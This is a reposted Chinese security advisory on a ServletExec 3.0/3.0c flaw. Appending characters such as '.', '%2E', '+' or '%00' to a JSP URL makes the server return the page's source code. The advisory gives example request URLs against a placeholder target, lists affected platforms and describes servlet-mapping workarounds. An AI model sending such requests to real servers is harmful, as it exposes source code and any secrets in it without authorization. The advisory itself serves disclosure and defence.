Unify eWave ServletExec 泄露jsp源代码漏洞

  • 来源: 互联网 作者: rocket   2008-03-17/13:43
  • 涉及程序:
    ServletExec

    描述:
    在HTTP请求中添加特殊字符导致暴露
    JSP源代码文件

    详细:
    Unify eWave ServletExec 是一个 Java/Java Servlet 引擎插件,主要用于 WEB 服务器,例如:Microsoft IIS, Apache, Netscape Enterprise 服务器等等。

    当一个 HTTP 请求中添加下列字符之一,ServletExec 将返回 JSP 源代码文件。
    .
    %2E
    +
    %2B
    \
    %5C
    %20
    %00

    成功的利用该漏洞将导致泄露指定的JSP文件的源代码

    例如:
    使用下面的任意一个URL请求将输出指定的JSP文件的源代码:
    http://target/directory/jsp/file.jsp.
    http://target/directory/jsp/file.jsp%2E
    http://target/directory/jsp/file.jsp+
    http://target/directory/jsp/file.jsp%2B
    http://target/directory/jsp/file.jsp\
    http://target/directory/jsp/file.jsp%5C
    http://target/directory/jsp/file.jsp%20
    http://target/directory/jsp/file.jsp%00

    受影响的系统:
    Unify eWave ServletExec 3.0c
    - Sun Solaris 8.0
    - Microsoft Windows 98
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT 2000
    -
    Linux kernel 2.3.x
    - IBM AIX 4.3.2
    - HP HP-UX 11.4
    Unify eWave ServletExec 3.0
    - Sun Solaris 8.0
    - Microsoft Windows 98
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT 2000
    - Linux kernel 2.3.x
    - IBM AIX 4.3.2
    - HP HP-UX 11.4

    解决方案:
    临时解决办法:
    如果没有使用任何静态页面或图像,可以配置一个默认的 servlet,并将“/”映射到这个默认的 servlet。这样当收到一个未映射到某个 servlet 的 URL 时,这个默认的servlet 就会被调用。在这种情况下,默认的 servlet 可以仅仅返回“未找到文件”。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet 处理对合法的静态页面和图像的请求。

    另一种可能就是将*.jsp+、*.jsp.和*.jsp\等映射到一个 servlet,而该servlet只是返回“未找到文件”。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入“*.jsp ”。注意%20被转换成一个空格字符。



    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多